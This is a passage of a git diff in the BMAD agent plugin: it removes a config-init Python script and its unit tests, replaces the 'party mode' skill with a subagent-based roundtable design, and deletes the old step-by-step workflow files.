help='Check if init is needed') - check_parser.add_argument('--module', help='Module code to check (optional)') - check_parser.add_argument('--skill-path', help='Path to the calling skill folder') - check_parser.add_argument('--project-root', help='Project root path') - - # --- resolve-defaults --- - resolve_parser = subparsers.add_parser('resolve-defaults', - help='Resolve module defaults given core answers') - resolve_parser.add_argument('--module', required=True, help='Module code') - resolve_parser.add_argument('--core-answers', required=True, help='JSON string of core answers') - resolve_parser.add_argument('--skill-path', help='Path to calling skill folder') - resolve_parser.add_argument('--project-root', help='Project root path') - - # --- write --- - write_parser = subparsers.add_parser('write', help='Write config files') - write_parser.add_argument('--answers', required=True, help='JSON string of all answers') - write_parser.add_argument('--skill-path', help='Path to calling skill (for module.yaml lookup)') - write_parser.add_argument('--project-root', help='Project root path') - - args = parser.parse_args() - if args.command is None: - parser.print_help() - sys.exit(1) - - commands = { - 'load': cmd_load, - 'check': cmd_check, - 'resolve-defaults': cmd_resolve_defaults, - 'write': cmd_write, - } - - handler = commands.get(args.command) - if handler: - handler(args) - else: - parser.print_help() - sys.exit(1) - - -if __name__ == '__main__': - main() diff --git a/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py b/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py deleted file mode 100644 index 32e07ef..0000000 --- a/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py +++ /dev/null @@ -1,329 +0,0 @@ -# /// script -# requires-python = ">=3.10" -# dependencies = ["pyyaml"] -# /// - -#!/usr/bin/env python3 -"""Unit tests for bmad_init.py""" - -import json -import os -import shutil -import sys -import tempfile -import unittest -from pathlib import Path - -sys.path.insert(0, str(Path(__file__).parent.parent)) - -from bmad_init import ( - find_project_root, - parse_var_specs, - resolve_project_root_placeholder, - expand_template, - apply_result_template, - load_module_yaml, - find_core_module_yaml, - find_target_module_yaml, - load_config_file, - load_module_config, -) - - -class TestFindProjectRoot(unittest.TestCase): - - def test_finds_bmad_folder(self): - temp_dir = tempfile.mkdtemp() - try: - (Path(temp_dir) / '_bmad').mkdir() - original_cwd = os.getcwd() - try: - os.chdir(temp_dir) - result = find_project_root() - self.assertEqual(result.resolve(), Path(temp_dir).resolve()) - finally: - os.chdir(original_cwd) - finally: - shutil.rmtree(temp_dir) - - def test_llm_provided_with_bmad(self): - temp_dir = tempfile.mkdtemp() - try: - (Path(temp_dir) / '_bmad').mkdir() - result = find_project_root(llm_provided=temp_dir) - self.assertEqual(result.resolve(), Path(temp_dir).resolve()) - finally: - shutil.rmtree(temp_dir) - - def test_llm_provided_without_bmad_still_returns_dir(self): - """First-run case: LLM provides path but _bmad doesn't exist yet.""" - temp_dir = tempfile.mkdtemp() - try: - result = find_project_root(llm_provided=temp_dir) - self.assertEqual(result.resolve(), Path(temp_dir).resolve()) - finally: - shutil.rmtree(temp_dir) - - -class TestParseVarSpecs(unittest.TestCase): - - def test_vars_with_defaults(self): - specs = parse_var_specs('var1:value1,var2:value2') - self.assertEqual(len(specs), 2) - self.assertEqual(specs[0]['name'], 'var1') - self.assertEqual(specs[0]['default'], 'value1') - - def test_vars_without_defaults(self): - specs = parse_var_specs('var1,var2') - self.assertEqual(len(specs), 2) - self.assertIsNone(specs[0]['default']) - - def test_mixed_vars(self): - specs = parse_var_specs('required_var,var2:default2') - self.assertIsNone(specs[0]['default']) - self.assertEqual(specs[1]['default'], 'default2') - - def test_colon_in_default(self): - specs = parse_var_specs('path:{project-root}/some/path') - self.assertEqual(specs[0]['default'], '{project-root}/some/path') - - def test_empty_string(self): - self.assertEqual(parse_var_specs(''), []) - - def test_none(self): - self.assertEqual(parse_var_specs(None), []) - - -class TestResolveProjectRootPlaceholder(unittest.TestCase): - - def test_resolve_placeholder(self): - result = resolve_project_root_placeholder('{project-root}/output', Path('/test')) - self.assertEqual(result, '/test/output') - - def test_no_placeholder(self): - result = resolve_project_root_placeholder('/absolute/path', Path('/test')) - self.assertEqual(result, '/absolute/path') - - def test_none(self): - self.assertIsNone(resolve_project_root_placeholder(None, Path('/test'))) - - def test_non_string(self): - self.assertEqual(resolve_project_root_placeholder(42, Path('/test')), 42) - - -class TestExpandTemplate(unittest.TestCase): - - def test_basic_expansion(self): - result = expand_template('{project-root}/output', {'project-root': '/test'}) - self.assertEqual(result, '/test/output') - - def test_multiple_placeholders(self): - result = expand_template( - '{output_folder}/planning', - {'output_folder': '_bmad-output', 'project-root': '/test'} - ) - self.assertEqual(result, '_bmad-output/planning') - - def test_none_value(self): - self.assertIsNone(expand_template(None, {})) - - def test_non_string(self): - self.assertEqual(expand_template(42, {}), 42) - - -class TestApplyResultTemplate(unittest.TestCase): - - def test_with_result_template(self): - var_def = {'result': '{project-root}/{value}'} - result = apply_result_template(var_def, '_bmad-output', {'project-root': '/test'}) - self.assertEqual(result, '/test/_bmad-output') - - def test_without_result_template(self): - result = apply_result_template({}, 'raw_value', {}) - self.assertEqual(result, 'raw_value') - - def test_value_only_template(self): - var_def = {'result': '{value}'} - result = apply_result_template(var_def, 'English', {}) - self.assertEqual(result, 'English') - - -class TestLoadModuleYaml(unittest.TestCase): - - def setUp(self): - self.temp_dir = tempfile.mkdtemp() - - def tearDown(self): - shutil.rmtree(self.temp_dir) - - def test_loads_core_module_yaml(self): - path = Path(self.temp_dir) / 'module.yaml' - path.write_text( - 'code: core\n' - 'name: "BMad Core Module"\n' - 'header: "Core Config"\n' - 'user_name:\n' - ' prompt: "What should agents call you?"\n' - ' default: "BMad"\n' - ' result: "{value}"\n' - ) - result = load_module_yaml(path) - self.assertIsNotNone(result) - self.assertEqual(result['meta']['code'], 'core') - self.assertEqual(result['meta']['name'], 'BMad Core Module') - self.assertIn('user_name', result['variables']) - self.assertEqual(result['variables']['user_name']['prompt'], 'What should agents call you?') - - def test_loads_module_with_directories(self): - path = Path(self.temp_dir) / 'module.yaml' - path.write_text( - 'code: bmm\n' - 'name: "BMad Method"\n' - 'project_name:\n' - ' prompt: "Project name?"\n' - ' default: "{directory_name}"\n' - ' result: "{value}"\n' - 'directories:\n' - ' - "{planning_artifacts}"\n' - ) - result = load_module_yaml(path) - self.assertEqual(result['directories'], ['{planning_artifacts}']) - - def test_returns_none_for_missing(self): - result = load_module_yaml(Path(self.temp_dir) / 'nonexistent.yaml') - self.assertIsNone(result) - - def test_returns_none_for_empty(self): - path = Path(self.temp_dir) / 'empty.yaml' - path.write_text('') - result = load_module_yaml(path) - self.assertIsNone(result) - - -class TestFindCoreModuleYaml(unittest.TestCase): - - def test_returns_path_to_resources(self): - path = find_core_module_yaml() - self.assertTrue(str(path).endswith('resources/core-module.yaml')) - - -class TestFindTargetModuleYaml(unittest.TestCase): - - def setUp(self): - self.temp_dir = tempfile.mkdtemp() - self.project_root = Path(self.temp_dir) - - def tearDown(self): - shutil.rmtree(self.temp_dir) - - def test_finds_in_skill_assets(self): - skill_path = self.project_root / 'skills' / 'test-skill' - assets = skill_path / 'assets' - assets.mkdir(parents=True) - (assets / 'module.yaml').write_text('code: test\n') - - result = find_target_module_yaml('test', self.project_root, str(skill_path)) - self.assertIsNotNone(result) - self.assertTrue(str(result).endswith('assets/module.yaml')) - - def test_finds_in_skill_root(self): - skill_path = self.project_root / 'skills' / 'test-skill' - skill_path.mkdir(parents=True) - (skill_path / 'module.yaml').write_text('code: test\n') - - result = find_target_module_yaml('test', self.project_root, str(skill_path)) - self.assertIsNotNone(result) - - def test_finds_in_bmad_module_dir(self): - module_dir = self.project_root / '_bmad' / 'mymod' - module_dir.mkdir(parents=True) - (module_dir / 'module.yaml').write_text('code: mymod\n') - - result = find_target_module_yaml('mymod', self.project_root) - self.assertIsNotNone(result) - - def test_returns_none_when_not_found(self): - result = find_target_module_yaml('missing', self.project_root) - self.assertIsNone(result) - - def test_skill_path_takes_priority(self): - """Skill assets module.yaml takes priority over _bmad/{module}/.""" - skill_path = self.project_root / 'skills' / 'test-skill' - assets = skill_path / 'assets' - assets.mkdir(parents=True) - (assets / 'module.yaml').write_text('code: test\nname: from-skill\n') - - module_dir = self.project_root / '_bmad' / 'test' - module_dir.mkdir(parents=True) - (module_dir / 'module.yaml').write_text('code: test\nname: from-bmad\n') - - result = find_target_module_yaml('test', self.project_root, str(skill_path)) - self.assertTrue('assets' in str(result)) - - -class TestLoadConfigFile(unittest.TestCase): - - def setUp(self): - self.temp_dir = tempfile.mkdtemp() - - def tearDown(self): - shutil.rmtree(self.temp_dir) - - def test_loads_flat_yaml(self): - path = Path(self.temp_dir) / 'config.yaml' - path.write_text('user_name: Test\ncommunication_language: English\n') - result = load_config_file(path) - self.assertEqual(result['user_name'], 'Test') - - def test_returns_none_for_missing(self): - result = load_config_file(Path(self.temp_dir) / 'missing.yaml') - self.assertIsNone(result) - - -class TestLoadModuleConfig(unittest.TestCase): - - def setUp(self): - self.temp_dir = tempfile.mkdtemp() - self.project_root = Path(self.temp_dir) - bmad_core = self.project_root / '_bmad' / 'core' - bmad_core.mkdir(parents=True) - (bmad_core / 'config.yaml').write_text( - 'user_name: TestUser\n' - 'communication_language: English\n' - 'document_output_language: English\n' - 'output_folder: "{project-root}/_bmad-output"\n' - ) - bmad_bmb = self.project_root / '_bmad' / 'bmb' - bmad_bmb.mkdir(parents=True) - (bmad_bmb / 'config.yaml').write_text( - 'user_name: TestUser\n' - 'communication_language: English\n' - 'document_output_language: English\n' - 'output_folder: "{project-root}/_bmad-output"\n' - 'bmad_builder_output_folder: "{project-root}/_bmad-output/skills"\n' - 'bmad_builder_reports: "{project-root}/_bmad-output/reports"\n' - ) - - def tearDown(self): - shutil.rmtree(self.temp_dir) - - def test_load_core(self): - result = load_module_config('core', self.project_root) - self.assertIsNotNone(result) - self.assertEqual(result['user_name'], 'TestUser') - - def test_load_module_includes_core_vars(self): - result = load_module_config('bmb', self.project_root) - self.assertIsNotNone(result) - # Module-specific var - self.assertIn('bmad_builder_output_folder', result) - # Core vars also present - self.assertEqual(result['user_name'], 'TestUser') - - def test_missing_module(self): - result = load_module_config('nonexistent', self.project_root) - self.assertIsNone(result) - - -if __name__ == '__main__': - unittest.main() diff --git a/plugins/bmad/skills/bmad-party-mode/SKILL.md b/plugins/bmad/skills/bmad-party-mode/SKILL.md index 8fb3d9a..8367e29 100644 --- a/plugins/bmad/skills/bmad-party-mode/SKILL.md +++ b/plugins/bmad/skills/bmad-party-mode/SKILL.md @@ -1,6 +1,125 @@ --- name: bmad-party-mode -description: 'Orchestrates group discussions between all installed BMAD agents, enabling natural multi-agent conversations. Use when user requests party mode.' +description: 'Orchestrates group discussions between installed BMAD agents, enabling natural multi-agent conversations where each agent is a real subagent with independent thinking. Use when user requests party mode, wants multiple agent perspectives, group discussion, roundtable, or multi-agent conversation about their project.' --- -Follow the instructions in ./workflow.md. +# Party Mode + +Facilitate roundtable discussions where BMAD agents participate as **real subagents** — each spawned independently via the Agent tool so they think for themselves. You are the orchestrator: you pick voices, build context, spawn agents, and present their responses. In the default subagent mode, never generate agent responses yourself — that's the whole point. In `--solo` mode, you roleplay all agents directly. + +## Why This Matters + +The whole point of party mode is that each agent produces a genuinely independent perspective. When one LLM roleplays multiple characters, the "opinions" tend to converge and feel performative. By spawning each agent as its own subagent process, you get real diversity of thought — agents that actually disagree, catch things the others miss, and bring their authentic expertise to bear. + +## Arguments + +Party mode accepts optional arguments when invoked: + +- `--model ` — Force all subagents to use a specific model (e.g. `--model haiku`, `--model opus`). When omitted, choose the model that fits the round: use a faster model (like `haiku`) for brief or reactive responses, and the default model for deep or complex topics. Match model weight to the depth of thinking the round requires. +- `--solo` — Run without subagents. Instead of spawning independent agents, roleplay all selected agents yourself in a single response. This is useful when subagents aren't available, when speed matters more than independence, or when the user just prefers it. Announce solo mode on activation so the user knows responses come from one LLM. + +## On Activation + +1. **Parse arguments** — check for `--model` and `--solo` flags from the user's invocation. + +2. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + +3. **Read the agent manifest** at `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv`. Build an internal roster of available agents with their displayName, title, icon, role, identity, communicationStyle, and principles. + +4. **Load project context** — search for `**/project-context.md`. If found, hold it as background context that gets passed to agents when relevant. + +5. **Welcome the user** — briefly introduce party mode (mention if solo mode is active). Show the full agent roster (icon + name + one-line role) so the user knows who's available. Ask what they'd like to discuss. + +## The Core Loop + +For each user message: + +### 1. Pick the Right Voices + +Choose 2-4 agents whose expertise is most relevant to what the user is asking. Use your judgment — you know each agent's role and identity from the manifest. Some guidelines: + +- **Simple question**: 2 agents with the most relevant expertise +- **Complex or cross-cutting topic**: 3-4 agents from different domains +- **User names specific agents**: Always include those, plus 1-2 complementary voices +- **User asks an agent to respond to another**: Spawn just that agent with the other's response as context +- **Rotate over time** — avoid the same 2 agents dominating every round + +### 2. Build Context and Spawn + +For each selected agent, spawn a subagent using the Agent tool. Each subagent gets: + +**The agent prompt** (built from the manifest data): +``` +You are {displayName} ({title}), a BMAD agent in a collaborative roundtable discussion. + +## Your Persona +- Icon: {icon} +- Communication Style: {communicationStyle} +- Principles: {principles} +- Identity: {identity} + +## Discussion Context +{summary of the conversation so far — keep under 400 words} + +{project context if relevant} + +## What Other Agents Said This Round +{if this is a cross-talk or reaction request, include the responses being reacted to — otherwise omit this section} + +## The User's Message +{the user's actual message} + +## Guidelines +- Respond authentically as {displayName}. Your perspective should reflect your genuine expertise. +- Start your response with: {icon} **{displayName}:** +- Speak in {communication_language}. +- Scale your response to the substance — don't pad. If you have a brief point, make it briefly. +- Disagree with other agents when your expertise tells you to. Don't hedge or be polite about it. +- If you have nothing substantive to add, say so in one sentence rather than manufacturing an opinion. +- You may ask the user direct questions if something needs clarification. +- Do NOT use tools. Just respond with your perspective. +``` + +**Spawn all agents in parallel** — put all Agent tool calls in a single response so they run concurrently. If `--model` was specified, use that model for all subagents. Otherwise, pick the model that matches the round — faster/cheaper models for brief takes, the default for substantive analysis. + +**Solo mode** — if `--solo` is active, skip spawning. Instead, generate all agent responses yourself in a single message, staying faithful to each agent's persona. Keep responses clearly separated with each agent's icon and name header. + +### 3. Present Responses + +Present each agent's full response to the user — distinct, complete, and in their own voice. The user is here to hear the agents speak, not to read your synthesis of what they think. Whether the responses came from subagents or you generated them in solo mode, the rule is the same: each agent's perspective gets its own unabridged section. Never blend, paraphrase, or condense agent responses into a summary. + +The format is simple: each agent's response one after another, separated by a blank line. No introductions, no "here's what they said", no framing — just the responses themselves. + +After all agent responses are presented in full, you may optionally add a brief **Orchestrator Note** — flagging a disagreement worth exploring, or suggesting an agent to bring in next round. Keep this short and clearly labeled so it's not confused with agent speech. + +### 4. Handle Follow-ups + +The user drives what happens next. Common patterns: + +| User says... | You do... | +|---|---| +| Continues the general discussion | Pick fresh agents, repeat the loop | +| "Winston, what do you think about what Sally said?" | Spawn just Winston with Sally's response as context | +| "Bring in Amelia on this" | Spawn Amelia with a summary of the discussion so far | +| "I agree with John, let's go deeper on that" | Spawn John + 1-2 others to expand on John's point | +| "What would Mary and Amelia think about Winston's approach?" | Spawn Mary and Amelia with Winston's response as context | +| Asks a question directed at everyone | Back to step 1 with all agents | + +The key insight: you can spawn any combination at any time. One agent, two agents reacting to a third, the whole roster — whatever serves the conversation. Each spawn is cheap and independent. + +## Keeping Context Manageable + +As the conversation grows, you'll need to summarize prior rounds rather than passing the full transcript to each subagent. Aim to keep the "Discussion Context" section under 400 words — a tight summary of what's been discussed, what positions agents have taken, and what the user seems to be driving toward. Update this summary every 2-3 rounds or when the topic shifts significantly. + +## When Things Go Sideways + +- **Agents are all saying the same thing**: Bring in a contrarian voice, or ask a specific agent to play devil's advocate by framing the prompt that way. +- **Discussion is going in circles**: Summarize the impasse and ask the user what angle they want to explore next. +- **User seems disengaged**: Ask directly — continue, change topic, or wrap up? +- **Agent gives a weak response**: Don't retry. Present it and let the user decide if they want more from that agent. + +## Exit + +When the user says they're done (any natural phrasing — "thanks", "that's all", "end party mode", etc.), give a brief wrap-up of the key takeaways from the discussion and return to normal mode. Don't force exit triggers — just read the room. diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md b/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md deleted file mode 100644 index 6544783..0000000 --- a/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md +++ /dev/null @@ -1,138 +0,0 @@ -# Step 1: Agent Loading and Party Mode Initialization - -## MANDATORY EXECUTION RULES (READ FIRST): - -- ✅ YOU ARE A PARTY MODE FACILITATOR, not just a workflow executor -- 🎯 CREATE ENGAGING ATMOSPHERE for multi-agent collaboration -- 📋 LOAD COMPLETE AGENT ROSTER from manifest with merged personalities -- 🔍 PARSE AGENT DATA for conversation orchestration -- 💬 INTRODUCE DIVERSE AGENT SAMPLE to kick off discussion -- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}` - -## EXECUTION PROTOCOLS: - -- 🎯 Show agent loading process before presenting party activation -- ⚠️ Present [C] continue option after agent roster is loaded -- 💾 ONLY save when user chooses C (Continue) -- 📖 Update frontmatter `stepsCompleted: [1]` before loading next step -- 🚫 FORBIDDEN to start conversation until C is selected - -## CONTEXT BOUNDARIES: - -- Agent manifest CSV is available at `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv` -- User configuration from config.yaml is loaded and resolved -- Party mode is standalone interactive workflow -- All agent data is available for conversation orchestration - -## YOUR TASK: - -Load the complete agent roster from manifest and initialize party mode with engaging introduction. - -## AGENT LOADING SEQUENCE: - -### 1. Load Agent Manifest - -Begin agent loading process: - -"Now initializing **Party Mode** with our complete BMAD agent roster! Let me load up all our talented agents and get them ready for an amazing collaborative discussion. - -**Agent Manifest Loading:**" - -Load and parse the agent manifest CSV from `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv` - -### 2. Extract Agent Data - -Parse CSV to extract complete agent information for each entry: - -**Agent Data Points:** - -- **name** (agent identifier for system calls) -- **displayName** (agent's persona name for conversations) -- **title** (formal position and role description) -- **icon** (visual identifier emoji) -- **role** (capabilities and expertise summary) -- **identity** (background and specialization details) -- **communicationStyle** (how they communicate and express themselves) -- **principles** (decision-making philosophy and values) -- **module** (source module organization) -- **path** (file location reference) - -### 3. Build Agent Roster - -Create complete agent roster with merged personalities: - -**Roster Building Process:** - -- Combine manifest data with agent file configurations -- Merge personality traits, capabilities, and communication styles -- Validate agent availability and configuration completeness -- Organize agents by expertise domains for intelligent selection - -### 4. Party Mode Activation - -Generate enthusiastic party mode introduction: - -"🎉 PARTY MODE ACTIVATED! 🎉 - -Welcome {{user_name}}! I'm excited to facilitate an incredible multi-agent discussion with our complete BMAD team. All our specialized agents are online and ready to collaborate, bringing their unique expertise and perspectives to whatever you'd like to explore. - -**Our Collaborating Agents Include:** - -[Display 3-4 diverse agents to showcase variety]: - -- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description] -- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description] -- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description] - -**[Total Count] agents** are ready to contribute their expertise! - -**What would you like to discuss with the team today?**" - -### 5. Present Continue Option - -After agent loading and introduction: - -"**Agent roster loaded successfully!** All our BMAD experts are excited to collaborate with you. - -**Ready to start the discussion?** -[C] Continue - Begin multi-agent conversation - -### 6. Handle Continue Selection - -#### If 'C' (Continue): - -- Update frontmatter: `stepsCompleted: [1]` -- Set `agents_loaded: true` and `party_active: true` -- Load: `./step-02-discussion-orchestration.md` - -## SUCCESS METRICS: - -✅ Agent manifest successfully loaded and parsed -✅ Complete agent roster built with merged personalities -✅ Engaging party mode introduction created -✅ Diverse agent sample showcased for user -✅ [C] continue option presented and handled correctly -✅ Frontmatter updated with agent loading status -✅ Proper routing to discussion orchestration step - -## FAILURE MODES: - -❌ Failed to load or parse agent manifest CSV -❌ Incomplete agent data extraction or roster building -❌ Generic or unengaging party mode introduction -❌ Not showcasing diverse agent capabilities -❌ Not presenting [C] continue option after loading -❌ Starting conversation without user selection - -## AGENT LOADING PROTOCOLS: - -- Validate CSV format and required columns -- Handle missing or incomplete agent entries gracefully -- Cross-reference manifest with actual agent files -- Prepare agent selection logic for intelligent conversation routing - -## NEXT STEP: - -After user selects 'C', load `./step-02-discussion-orchestration.md` to begin the interactive multi-agent conversation with intelligent agent selection and natural conversation flow. - -Remember: Create an engaging, party-like atmosphere while maintaining professional expertise and intelligent conversation orchestration! diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md b/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md deleted file mode 100644 index 361c193..0000000 --- a/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md +++ /dev/null @@ -1,187 +0,0 @@ -# Step 2: Discussion Orchestration and Multi-Agent Conversation - -## MANDATORY EXECUTION RULES (READ FIRST): - -- ✅ YOU ARE A CONVERSATION ORCHESTRATOR, not just a response generator -- 🎯 SELECT RELEVANT AGENTS based on topic analysis and expertise matching -- 📋 MAINTAIN CHARACTER CONSISTENCY using merged agent personalities -- 🔍 ENABLE NATURAL CROSS-TALK between agents for dynamic conversation -- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}` - -## EXECUTION PROTOCOLS: - -- 🎯 Analyze user input for intelligent agent selection before responding -- ⚠️ Present [E] exit option after each agent response round -- 💾 Continue conversation until user selects E (Exit) -- 📖 Maintain conversation state and context throughout session -- 🚫 FORBIDDEN to exit until E is selected or exit trigger detected - -## CONTEXT BOUNDARIES: - -- Complete agent roster with merged personalities is available -- User topic and conversation history guide agent selection -- Exit triggers: `*exit`, `goodbye`, `end party`, `quit` - -## YOUR TASK: - -Orchestrate dynamic multi-agent conversations with intelligent agent selection, natural cross-talk, and authentic character portrayal. - -## DISCUSSION ORCHESTRATION SEQUENCE: - -### 1. User Input Analysis - -For each user message or topic: - -**Input Analysis Process:** -"Analyzing your message for the perfect agent collaboration..." - -**Analysis Criteria:** - -- Domain expertise requirements (technical, business, creative, etc.) -- Complexity level and depth needed -- Conversation context and previous agent contributions -- User's specific agent mentions or requests - -### 2. Intelligent Agent Selection - -Select 2-3 most relevant agents based on analysis: - -**Selection Logic:** - -- **Primary Agent**: Best expertise match for core topic -- **Secondary Agent**: Complementary perspective or alternative approach -- **Tertiary Agent**: Cross-domain insight or devil's advocate (if beneficial) - -**Priority Rules:** - -- If user names specific agent → Prioritize that agent + 1-2 complementary agents -- Rotate agent participation over time to ensure inclusive discussion -- Balance expertise domains for comprehensive perspectives - -### 3. In-Character Response Generation - -Generate authentic responses for each selected agent: - -**Character Consistency:** - -- Apply agent's exact communication style from merged data -- Reflect their principles and values in reasoning -- Draw from their identity and role for authentic expertise -- Maintain their unique voice and personality traits - -**Response Structure:** -[For each selected agent]: - -"[Icon Emoji] **[Agent Name]**: [Authentic in-character response] - -[Bash: .claude/hooks/bmad-speak.sh \"[Agent Name]\" \"[Their response]\"]" - -### 4. Natural Cross-Talk Integration - -Enable dynamic agent-to-agent interactions: - -**Cross-Talk Patterns:** - -- Agents can reference each other by name: "As [Another Agent] mentioned..." -- Building on previous points: "[Another Agent] makes a great point about..." -- Respectful disagreements: "I see it differently than [Another Agent]..." -- Follow-up questions between agents: "How would you handle [specific aspect]?" - -**Conversation Flow:** - -- Allow natural conversational progression -- Enable agents to ask each other questions -- Maintain professional yet engaging discourse -- Include personality-driven humor and quirks when appropriate - -### 5. Question Handling Protocol - -Manage different types of questions appropriately: - -**Direct Questions to User:** -When an agent asks the user a specific question: - -- End that response round immediately after the question -- Clearly highlight: **[Agent Name] asks: [Their question]** -- Display: _[Awaiting user response...]_ -- WAIT for user input before continuing - -**Rhetorical Questions:** -Agents can ask thinking-aloud questions without pausing conversation flow. - -**Inter-Agent Questions:** -Allow natural back-and-forth within the same response round for dynamic interaction. - -### 6. Response Round Completion - -After generating all agent responses for the round, let the user know he can speak naturally with the agents, an then show this menu opion" - -`[E] Exit Party Mode - End the collaborative session` - -### 7. Exit Condition Checking - -Check for exit conditions before continuing: - -**Automatic Triggers:** - -- User message contains: `*exit`, `goodbye`, `end party`, `quit` -- Immediate agent farewells and workflow termination - -**Natural Conclusion:** - -- Conversation seems naturally concluding -- Confirm if the user wants to exit party mode and go back to where they were or continue chatting. Do it in a conversational way with an agent in the party. - -### 8. Handle Exit Selection - -#### If 'E' (Exit Party Mode): - -- Read fully and follow: `./step-03-graceful-exit.md` - -## SUCCESS METRICS: - -✅ Intelligent agent selection based on topic analysis -✅ Authentic in-character responses maintained consistently -✅ Natural cross-talk and agent interactions enabled -✅ Question handling protocol followed correctly -✅ [E] exit option presented after each response round -✅ Conversation context and state maintained throughout -✅ Graceful conversation flow without abrupt interruptions - -## FAILURE MODES: - -❌ Generic responses without character consistency -❌ Poor agent selection not matching topic expertise -❌ Ignoring user questions or exit triggers -❌ Not enabling natural agent cross-talk and interactions -❌ Continuing conversation without user input when questions asked - -## CONVERSATION ORCHESTRATION PROTOCOLS: - -- Maintain conversation memory and context across rounds -- Rotate agent participation for inclusive discussions -- Handle topic drift while maintaining productivity -- Balance fun and professional collaboration -- Enable learning and knowledge sharing between agents - -## MODERATION GUIDELINES: - -**Quality Control:** - -- If discussion becomes circular, have bmad-master summarize and redirect -- Ensure all agents stay true to their merged personalities -- Handle disagreements constructively and professionally -- Maintain respectful and inclusive conversation environment - -**Flow Management:** - -- Guide conversation toward productive outcomes -- Encourage diverse perspectives and creative thinking -- Balance depth with breadth of discussion -- Adapt conversation pace to user engagement level - -## NEXT STEP: - -When user selects 'E' or exit conditions are met, load `./step-03-graceful-exit.md` to provide satisfying agent farewells and conclude the party mode session. - -Remember: Orchestrate engaging, intelligent conversations while maintaining authentic agent personalities and natural interaction patterns! diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md b/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md deleted file mode 100644 index d3dbb71..0000000 --- a/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md +++ /dev/null @@ -1,167 +0,0 @@ -# Step 3: Graceful Exit and Party Mode Conclusion - -## MANDATORY EXECUTION RULES (READ FIRST): - -- ✅ YOU ARE A PARTY MODE COORDINATOR concluding an engaging session -- 🎯 PROVIDE SATISFYING AGENT FAREWELLS in authentic character voices -- 📋 EXPRESS GRATITUDE to user for collaborative participation -- 🔍 ACKNOWLEDGE SESSION HIGHLIGHTS and key insights gained -- 💬 MAINTAIN POSITIVE ATMOSPHERE until the very end -- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}` - -## EXECUTION PROTOCOLS: - -- 🎯 Generate characteristic agent goodbyes that reflect their personalities -- ⚠️ Complete workflow exit after farewell sequence -- 💾 Update frontmatter with final workflow completion -- 📖 Clean up any active party mode state or temporary data -- 🚫 FORBIDDEN abrupt exits without proper agent farewells - -## CONTEXT BOUNDARIES: - -- Party mode session is concluding naturally or via user request -- Complete agent roster and conversation history are available -- User has participated in collaborative multi-agent discussion -- Final workflow completion and state cleanup required - -## YOUR TASK: - -Provide satisfying agent farewells and conclude the party mode session with gratitude and positive closure. - -## GRACEFUL EXIT SEQUENCE: - -### 1. Acknowledge Session Conclusion - -Begin exit process with warm acknowledgment: - -"What an incredible collaborative session! Thank you {{user_name}} for engaging with our BMAD agent team in this dynamic discussion. Your questions and insights brought out the best in our agents and led to some truly valuable perspectives. - -**Before we wrap up, let a few of our agents say goodbye...**" - -### 2. Generate Agent Farewells - -Select 2-3 agents who were most engaged or representative of the discussion: - -**Farewell Selection Criteria:** - -- Agents who made significant contributions to the discussion -- Agents with distinct personalities that provide memorable goodbyes -- Mix of expertise domains to showcase collaborative diversity -- Agents who can reference session highlights meaningfully - -**Agent Farewell Format:** - -For each selected agent: - -"[Icon Emoji] **[Agent Name]**: [Characteristic farewell reflecting their personality, communication style, and role. May reference session highlights, express gratitude, or offer final insights related to their expertise domain.] - -[Bash: .claude/hooks/bmad-speak.sh \"[Agent Name]\" \"[Their farewell message]\"]" - -**Example Farewells:** - -- **Architect/Winston**: "It's been a pleasure architecting solutions with you today! Remember to build on solid foundations and always consider scalability. Until next time! 🏗️" -- **Innovator/Creative Agent**: "What an inspiring creative journey! Don't let those innovative ideas fade - nurture them and watch them grow. Keep thinking outside the box! 🎨" -- **Strategist/Business Agent**: "Excellent strategic collaboration today! The insights we've developed will serve you well. Keep analyzing, keep optimizing, and keep winning! 📈" - -### 3. Session Highlight Summary - -Briefly acknowledge key discussion outcomes: - -**Session Recognition:** -"**Session Highlights:** Today we explored [main topic] through [number] different perspectives, generating valuable insights on [key outcomes]. The collaboration between our [relevant expertise domains] agents created a comprehensive understanding that wouldn't have been possible with any single viewpoint." - -### 4. Final Party Mode Conclusion - -End with enthusiastic and appreciative closure: - -"🎊 **Party Mode Session Complete!** 🎊 - -Thank you for bringing our BMAD agents together in this unique collaborative experience. The diverse perspectives, expert insights, and dynamic interactions we've shared demonstrate the power of multi-agent thinking. - -**Our agents learned from each other and from you** - that's what makes these collaborative sessions so valuable! - -**Ready for your next challenge**? Whether you need more focused discussions with specific agents or want to bring the whole team together again, we're always here to help you tackle complex problems through collaborative intelligence. - -**Until next time - keep collaborating, keep innovating, and keep enjoying the power of multi-agent teamwork!** 🚀" - -### 5. Complete Workflow Exit - -Final workflow completion steps: - -**Frontmatter Update:** - -```yaml ---- -stepsCompleted: [1, 2, 3] -user_name: '{{user_name}}' -date: '{{date}}' -agents_loaded: true -party_active: false -workflow_completed: true ---- -``` - -**State Cleanup:** - -- Clear any active conversation state -- Reset agent selection cache -- Mark party mode workflow as completed - -### 6. Exit Workflow - -Execute final workflow termination: - -"[PARTY MODE WORKFLOW COMPLETE] - -Thank you for using BMAD Party 